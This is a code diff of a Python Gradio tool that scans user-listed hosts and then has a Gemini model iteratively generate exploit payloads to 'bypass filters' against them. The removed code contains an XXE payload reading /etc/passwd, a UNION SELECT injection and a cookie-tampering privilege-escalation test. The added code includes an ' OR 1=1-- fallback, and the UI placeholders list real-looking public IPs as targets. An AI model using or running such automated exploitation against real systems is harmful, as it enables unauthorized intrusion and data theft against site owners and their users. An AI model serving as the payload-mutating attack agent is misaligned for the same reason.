+                    # Patching Loop
+                    if attempt < 3:
+                        text_snippet = resp.text[:200].replace('\n', ' ') if resp else "Connection Dropped"
+                        error_ctx = f"Payload '{current_payload}' failed. Status: {resp.status_code if resp else 'None'}. Snippet: {text_snippet}"
+                        
+                        patch_resp = await self.llm_client.aio.models.generate_content(
+                            model="gemini-2.5-flash",
+                            contents=system_context + "\n" + error_ctx + "\nGenerate a patched payload to bypass filters/errors.",
+                            config={
+                                "response_mime_type": "application/json",
+                                "response_json_schema": ExploitPatch.model_json_schema(),
+                                "temperature": 0.4
+                            }
+                        )
+                        patch = ExploitPatch.model_validate_json(patch_resp.text)
+                        current_payload = patch.revised_payload
+
+                except Exception as req_err:
+                    if attempt == 3: break
+                    current_payload = f"' OR 1=1-- (Fallback due to {str(req_err)})"
+
+            return {"target": hyp.target_id, "type": hyp.attack_type, "status": "FAILED", "reason": "Exhausted 3 patch attempts."}
 
-        except httpx.RequestError as e:
-            await self._log_result("active_exploitation", Outcome.format(Outcome.ERROR, f"Error during {attack_name} attempt on {url}", str(e)))
         except Exception as e:
-            await self._log_result("active_exploitation", Outcome.format(Outcome.ERROR, f"Unexpected error during {attack_name} attempt on {url}", str(e)))
-
-    async def _run_xxe_test(self):
-        xxe_payload = """
-        <!DOCTYPE foo [
-            <!ENTITY xxe SYSTEM "file:///etc/passwd">
-        ]>
-        <root><data>&xxe;</data></root>
-        """
-        target_endpoint = "/api/xml_parser" 
-        if not target_endpoint in self.target_url_base:
-            target_endpoint = "/test_xml" 
-        
-        full_url = self.target_url_base_https if self.target_url_base_https else self.target_url_base + target_endpoint
-
-        await self._log_result("active_exploitation", Outcome.format(Outcome.INFO, "Executing Nginx XXE Payload..."))
-        
-        try:
-            response = await self.client.post(full_url, data=xxe_payload, timeout=EXPLOIT_TIMEOUT)
-            content_snippet = response.text[:150].replace('\n', ' ')
-
-            if "root:" in content_snippet or "daemon:" in content_snippet or "bin/bash" in content_snippet:
-                await self._log_result("active_exploitation", Outcome.format(Outcome.EXPLOIT_SUCCESS, "Nginx XXE CONFIRMED!", 
-                                                                           f"Target reflected /etc/passwd content! Status: {response.status_code}"))
-            else:
-                await self._log_result("active_exploitation", Outcome.format(Outcome.INFO, "Nginx XXE PROBED.", 
-                                                                           f"Status: {response.status_code}. Check for content reflection. Snippet: '{content_snippet}'"))
-                
-        except httpx.RequestError as e:
-            await self._log_result("active_exploitation", Outcome.format(Outcome.ERROR, "Error during XXE test", str(e)))
-
-    async def _run_header_injection_test(self):
-        injection_payload = "test%27%20UNION%20SELECT%20NULL,NULL,NULL--"
-        target_endpoint = "/search?query=" 
-        full_url = self.target_url_base_https if self.target_url_base_https else self.target_url_base + target_endpoint
-
-        await self._log_result("active_exploitation", Outcome.format(Outcome.INFO, "Executing Nginx Header Injection Payload..."))
-
-        try:
-            response = await self.client.get(full_url, timeout=EXPLOIT_TIMEOUT)
-            
-            if "UNION SELECT NULL,NULL,NULL--" in response.text:
-                await self._log_result("active_exploitation", Outcome.format(Outcome.EXPLOIT_SUCCESS, "Header Injection CONFIRMED!", 
-                                                                           f"Payload reflected in response body! Status: {response.status_code}"))
-            else:
-                await self._log_result("active_exploitation", Outcome.format(Outcome.INFO, "Header Injection PROBED.", 
-                                                                           f"Status: {response.status_code}. Check manually for reflection."))
-
-        except httpx.RequestError as e:
-            await self._log_result("active_exploitation", Outcome.format(Outcome.ERROR, "Error during Header Injection test", str(e)))
-
-    async def _run_cookie_tampering_test(self, cookie_name: str, original_value: str, tamper_value: str):
-        await self._log_result("active_exploitation", Outcome.format(Outcome.INFO, f"Tampering {cookie_name} from '{original_value}' to '{tamper_value}'..."))
-        
-        try:
-            response = await self.client.get(self.target_url_base, cookies={cookie_name: tamper_value}, timeout=EXPLOIT_TIMEOUT)
-            content_snippet = response.text[:200].replace('\n', ' ')
-            
-            if "admin" in content_snippet.lower() or "administrator" in content_snippet.lower():
-                await self._log_result("active_exploitation", Outcome.format(Outcome.EXPLOIT_SUCCESS, "Cookie Tampering SUCCESS!", 
-                                                                           f"Privilege escalated! Server accepted '{tamper_value}' for {cookie_name}. Status: {response.status_code}"))
-            else:
-                await self._log_result("active_exploitation", Outcome.format(Outcome.INFO, "Cookie Tampering PROBED.", 
-                                                                           f"Status: {response.status_code}. Check if the page reflects the '{tamper_value}' value."))
-
-        except httpx.RequestError as e:
-            await self._log_result("active_exploitation", Outcome.format(Outcome.ERROR, f"Error during Cookie Tampering test", str(e)))
+            return {"target": hyp.target_id, "type": hyp.attack_type, "status": "ERROR", "reason": str(e)}
+        finally:
+            await self.http_client.aclose()
 
 
-# --- INPUT HANDLING LOGIC ---
+# --- ORCHESTRATION PIPELINES ---
 
-def _parse_targets(file_paths, manual_text: str) -> List[Tuple[str, int]]:
-    """
-    Parses targets either from CSV file(s) or a manual text block.
-    Returns a list of (host, port) tuples.
-    """
+def parse_inputs(files, manual) -> List[Tuple[str, int]]:
     targets = []
-    
-    if file_paths:
-        if not isinstance(file_paths, list):
-            file_paths = [file_paths]
-        
-        for file_obj in file_paths:
-            if hasattr(file_obj, 'name'):  # It's a file object from Gradio
-                file_path = file_obj.name
-            else:  # It's a string path
-                file_path = file_obj
-                
-            print(f"[*] Parsing targets from CSV file: {file_path}")
+    if files:
+        if not isinstance(files, list): files = [files]
+        for f in files:
             try:
-                with open(file_path, 'r') as f:
-                    reader = csv.reader(f)
-                    next(reader, None) 
-                    for row in reader:
-                        if len(row) >= 2:
-                            host = row[0].strip()
-                            port_str = row[1].strip()
-                            try:
-                                port = int(port_str)
-                                targets.append((host, port))
-                            except ValueError:
-                                print(f"[!] Skipping invalid port in CSV row: {row}")
-            except FileNotFoundError:
-                print(f"[!] Error: CSV file not found at {file_path}")
-            except Exception as e:
-                print(f"[!] Error during CSV reading: {e}")
-
-    if manual_text:
-        print("[*] Parsing targets from manual text input...")
-        for line in manual_text.strip().split('\n'):
-            line = line.strip()
-            if not line:
-                continue
-            
-            if ':' in line and ',' not in line:
-                parts = line.split(':')
-                if len(parts) == 2:
-                    host = parts[0].strip()
-                    try:
-                        port = int(parts[1].strip())
-                        targets.append((host, port))
-                        continue
-                    except ValueError:
-                        pass
-            
+                path = f.name if hasattr(f, 'name') else f
+                with open(path, 'r') as csvf:
+                    for row in csv.reader(csvf):
+                        if row: targets.append((row[0].strip(), int(row[1]) if len(row)>1 and row[1].isdigit() else 80))
+            except: pass
+    if manual:
+        for line in manual.strip().split('\n'):
+            line = line.replace(' ', '').replace(':', ',')
             if ',' in line:
-                parts = [p.strip() for p in line.split(',')]
-                if len(parts) >= 2:
-                    host = parts[0]
-                    try:
-                        port = int(parts[1])
-                        targets.append((host, port))
-                        continue
-                    except ValueError:
-                        print(f"[!] Skipping invalid port in manual entry: {line}")
-            
-            if re.match(r'^[\w.-]+$', line):
-                targets.append((line, None))
+                h, p = line.split(',')
+                targets.append((h, int(p) if p.isdigit() else 80))
             else:
-                print(f"[!] Could not parse line: {line}")
-
-    return targets
+                targets.append((line, 80))
+    return list(set(targets))
 
-# --- MAIN GRADIO/PANDAS EXECUTION BLOCK ---
+async def run_stage_1(files, manual) -> Tuple[Dict[str, Any], gr.CheckboxGroup, str]:
+    """Runs Recon & Hypothesis Generation."""
+    targets = parse_inputs(files, manual)
+    if not targets:
+        return {}, gr.update(choices=[], visible=False), "🔴 **Error:** No targets provided."
 
-async def run_scan_and_get_report(file_paths, manual_text: str, stealth: bool) -> tuple[str, str]:
-    targets_to_scan = _parse_targets(file_paths, manual_text)
+    print(f"🚀 [STAGE 1] Scanning {len(targets)} targets...")
     
-    if not targets_to_scan:
-        return "🔴 **INPUT REQUIRED:** Please provide targets via CSV or manual entry.", ""
-
-    all_results: Dict[str, defaultdict] = defaultdict(lambda: defaultdict(list))
-    all_findings = []
+    tasks = [ReconEngine(h, p).run_recon() for h, p in targets]
+    # Limit concurrency
+    semaphore = asyncio.Semaphore(MAX_CONCURRENT_RECON)
+    async def sem_task(task):
+        async with semaphore: return await task
     
-    print(f"\n\n{'='*60}")
-    print(f"🚀 Starting Scan Sequence for {len(targets_to_scan)} Targets...")
-    print(f"{'='*60}\n")
-
-    for host, port in targets_to_scan:
-        scanner = AggressiveScanner(host, port, stealth)
-        results = await scanner.run_full_spectrum_attack()
-        target_id = f"{host}{':' + str(port) if port else ''}"
-        all_results[target_id] = results
-
-        for phase, outcomes in results.items():
-            for outcome in outcomes:
-                outcome['Target'] = target_id
-                all_findings.append(outcome)
-
-    if not all_findings:
-        return "⚠️ **No findings were recorded.**", ""
+    results = await asyncio.gather(*(sem_task(t) for t in tasks))
     
-    df = pd.DataFrame(all_findings)
+    # Flatten and Map Hypotheses
+    hyp_dict = {}
+    choices = []
     
-    summary_md = f"## 👑 Red Team Scan Report: {len(targets_to_scan)} Targets Scanned"
-    summary_md += f"\n**Mode:** **{'STEALTH MODE' if stealth else 'FULL AGGRESSION MODE'}**\n\n"
+    for hyp_list in results:
+        for hyp in hyp_list:
+            hyp_dict[hyp.ui_label] = hyp
+            choices.append(hyp.ui_label)
+
+    # Sort choices by highest risk
+    choices = sorted(choices, key=lambda x: float(re.search(r'\[(.*?)\]', x).group(1)), reverse=True)
+
+    md = f"## 🔍 Stage 1 Complete\n**Discovered {len(choices)} Potential Vulnerabilities.**\nSelect up to 10 endpoints below to authorize the Gemini Exploit Agent."
+    return hyp_dict, gr.update(choices=choices, visible=True), md
+
+async def run_stage_2(selected_labels, hyp_dict, api_key):
+    """Runs the Gemini Agent on Selected Targets."""
+    if not selected_labels:
+        return "🔴 Please select at least one target."
     
-    for target_id, group in df.groupby('Target'):
-        summary_md += f"### 🎯 Target: {target_id}\n"
-        summary_md += f"| Severity Level | Count |\n"
-        summary_md += f"|---------------|-------|\n"
-        summary_md += f"| 🟢 **Exploit Success** | {group['level'].value_counts().get('EXPLOIT_SUCCESS', 0)} |\n"
-        summary_md += f"| 🟡 **Vulnerability Confirmed** | {group['level'].value_counts().get('VULNERABILITY_CONFIRMED', 0)} |\n"
-        summary_md += f"| 🔴 **High Risk** | {group['level'].value_counts().get('HIGH_RISK', 0)} |\n"
-        summary_md += f"| 🔵 **Medium Risk** | {group['level'].value_counts().get('MEDIUM_RISK', 0)} |\n"
-        summary_md += f"| ⚪ **Info/Probed** | {group['level'].value_counts().get('INFO', 0)} |\n"
-        summary_md += f"| ⚫ **Error** | {group['level'].value_counts().get('ERROR', 0)} |\n\n"
-        
-        severity_order = {'EXPLOIT_SUCCESS': 5, 'VULNERABILITY_CONFIRMED': 4, 'HIGH_RISK': 3, 'MEDIUM_RISK': 2, 'INFO': 1, 'ERROR': 0}
-        group['severity_score'] = group['level'].map(severity_order)
-        top_findings = group.sort_values(by='severity_score', ascending=False).head(3)
-        
-        summary_md += "#### 🔍 Top 3 Critical Findings\n"
-        
-        for index, row in top_findings.iterrows():
-            summary_md += f"**[{row['level']}]** {row['message']}\n"
-            if row.get('detail'):
-                summary_md += f"  * *Detail:* {row['detail']}\n"
-        summary_md += "---\n\n"
+    if len(selected_labels) > MAX_CONCURRENT_EXPLOIT:
+        selected_labels = selected_labels[:MAX_CONCURRENT_EXPLOIT]
+        warning = f"⚠️ **Warning:** Selected more than {MAX_CONCURRENT_EXPLOIT}. Truncating to top 10 for safety.\n\n"
+    else:
+        warning = ""
+
+    print(f"🚀 [STAGE 2] Exploiting {len(selected_labels)} targets...")
+    agent = ValidationAgent(api_key)
+    
+    tasks = []
+    for label in selected_labels:
+        hyp = hyp_dict[label]
+        tasks.append(agent.validate_hypothesis(hyp))
+
+    results = await asyncio.gather(*tasks)
 
-    html_table = df.to_html(classes='table table-striped', index=False)
+    # Generate Output
+    df = pd.DataFrame(results)
+    
+    md = f"## 💀 Stage 2: Validation Report\n{warning}"
+    md += f"**Targets Exploited:** {len(results)}\n"
+    success_count = len(df[df['status'] == 'SUCCESS!'])
+    md += f"**Critical Breaches:** {success_count}\n\n"
     
-    return summary_md, html_table
+    html = df.to_html(classes=['table', 'table-dark', 'table-hover'], index=False)
+    return md + html
 
 
-def gradio_wrapper(file_paths, manual_text: str, stealth: bool) -> tuple[str, str]:
-    return asyncio.run(run_scan_and_get_report(file_paths, manual_text, stealth))
+# Wrappers for Gradio Sync Execution
+def stage_1_wrapper(files, manual):
+    return asyncio.run(run_stage_1(files, manual))
 
+def stage_2_wrapper(selected, state_dict, api_key):
+    return asyncio.run(run_stage_2(selected, state_dict, api_key))
+
+# ==============================================================================
+# GRADIO UI DEFINITION
+# ==============================================================================
+with gr.Blocks(theme=gr.themes.Monochrome()) as demo:
+    # State variable to hold data between stages
+    engine_state = gr.State({})
+
+    gr.Markdown("# 🧠 SOTA Ethical Decision Engine")
+    gr.Markdown("### **Two-Stage Architecture:** Map the Attack Surface $\\rightarrow$ Authorize AI Exploitation")
+    
+    with gr.Row():
+        # LEFT COLUMN - STAGE 1
+        with gr.Column(scale=1, variant="panel"):
+            gr.Markdown("### 🔍 STAGE 1: Recon & Hypothesis")
+            csv_in = gr.File(label="Upload CSV (Host, Port)", file_count="multiple")
+            txt_in = gr.Textbox(label="Manual Targets", lines=3, placeholder="192.168.1.1:80\nexample.com,443")
+            recon_btn = gr.Button("1️⃣ RUN RECONNAISSANCE", variant="secondary")
+
+        # RIGHT COLUMN - STAGE 2
+        with gr.Column(scale=1, variant="panel"):
+            gr.Markdown("### 💀 STAGE 2: Authorize AI Agent")
+            api_key_in = gr.Textbox(label="Gemini API Key (Required for Stage 2)", type="password", placeholder="AIzaSy...")
+            target_selector = gr.CheckboxGroup(label="Select Targets for Validation (Max 10)", choices=[], visible=False)
+            exploit_btn = gr.Button("2️⃣ EXECUTE VALIDATION LOOP", variant="primary")
+
+    # BOTTOM - OUTPUT
+    with gr.Row():
+        with gr.Column():
+            out_display = gr.HTML("<br><center><h3>System Offline. Load targets to begin.</h3></center>")
+
+    # --- EVENT WIRING ---
+    
+    # Run Stage 1
+    recon_btn.click(
+        fn=stage_1_wrapper,
+        inputs=[csv_in, txt_in],
+        outputs=[engine_state, target_selector, out_display]
+    )
+
+    # Run Stage 2
+    exploit_btn.click(
+        fn=stage_2_wrapper,
+        inputs=[target_selector, engine_state, api_key_in],
+        outputs=[out_display]
+    )
 
-# --- GRADIO UI DEFINITION ---
 if __name__ == "__main__":
-    with gr.Blocks(title="Aggressive Red Team Scanner") as demo:
-        gr.Markdown("# 😈 Tier 1 Red Team Exploitation Engine")
-        gr.Markdown("Input your targets via **CSV File** or **Manual Text Input** (IP/IP:Port or IP,Port). The engine will run a full spectrum attack for every target.")
-
-        with gr.Row():
-            csv_file_input = gr.File(label="📁 Import Target List (CSV)", file_count="multiple", file_types=[".csv"])
-            manual_input = gr.Textbox(label="📝 Manual Target List (IP,Port per line)", lines=8, 
-                                       placeholder="e.g., 107.148.158.208,80\n103.101.85.15\n192.168.1.5:443")
-            stealth_switch = gr.Checkbox(label="Stealth Mode (Less Aggressive)", value=False)
-            
-        scan_button = gr.Button("⚔️ Launch Full Spectrum Attack", variant="primary")
-        
-        summary_output = gr.Markdown(label="Summary Report", value="Awaiting attack launch...")
-        results_table = gr.HTML(label="Raw Findings Table", value="")
-
-        scan_button.click(
-            fn=gradio_wrapper, 
-            inputs=[csv_file_input, manual_input, stealth_switch], 
-            outputs=[summary_output, results_table]
-        )
-        
     demo.launch()